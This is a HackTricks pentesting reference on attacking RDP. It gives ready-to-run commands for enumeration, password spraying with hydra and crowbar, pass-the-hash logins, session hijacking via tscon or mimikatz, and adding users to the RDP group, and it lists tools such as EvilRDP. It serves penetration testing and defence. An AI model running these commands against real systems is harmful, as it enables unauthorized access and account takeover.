3389 - Pentesting RDP - HackTricks

# 3389 - Pentesting RDP

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## Basic Information

Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

Default port: 3389

    PORT     STATE SERVICE
    3389/tcp open  ms-wbt-server

## Enumeration

### Automatic

    nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions).

### Brute force

Be careful, you could lock accounts

### Password Spraying

Be careful, you could lock accounts

    # https://github.com/galkan/crowbar
    crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
    # hydra
    hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

### Connect with known credentials/hash

    rdesktop -u <username> <IP>
    rdesktop -d <domain> -u <username> -p <password> <IP>
    xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
    xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

### Check known credentials against RDP services

rdp_check.py from impacket let you check if some credentials are valid for a RDP service:

    rdp_check <domain>/<name>:<password>@<IP>

## Attacks

### Session stealing

With SYSTEM permissions you can access any opened RDP session by any user without need to know the password of the owner.

Get openned sessions:

    query user

Access to the selected session

    tscon <ID> /dest:<SESSIONNAME>

Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.

Important: When you access an active RDP sessions you will kickoff the user that was using it.

You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)

#### Mimikatz

You could also use mimikatz to do this:

    ts::sessions        #Get sessions
    ts::remote /id:2    #Connect to the session

### Sticky-keys & Utilman

Combining this technique with stickykeys or utilman you will be able to access a administrative CMD and any RDP session anytime

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

### RDP Process Injection

If someone from a different domain or with better privileges login via RDP to the PC where you are an Admin, you can inject your beacon in his RDP session process and act as him:

RDP Sessions Abuse

### Adding User to RDP group

    net localgroup "Remote Desktop Users" UserLoginName /add

## Automatic Tools

- AutoRDPwn

AutoRDPwn is a post-exploitation framework created in Powershell, designed primarily to automate the Shadow attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to view his victim's desktop without his consent, and even control it on demand, using tools native to the operating system itself.

- EvilRDP
  - Control mouse and keyboard in an automated way from command line
  - Control clipboard in an automated way from command line
  - Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
  - Execute arbitrary SHELL and PowerShell commands on the target without uploading files
  - Upload and download files to/from the target even when file transfers are disabled on the target

## HackTricks Automatic Commands

    Protocol_Name: RDP    #Protocol Abbreviation if there is one.
    Port_Number:  3389     #Comma separated if there is more than one.
    Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

    Entry_1:
      Name: Notes
      Description: Notes for RDP
      Note: |
        Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

        https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

    Entry_2:
      Name: Nmap
      Description: Nmap with RDP Scripts
      Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

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> Support HackTricks
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> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.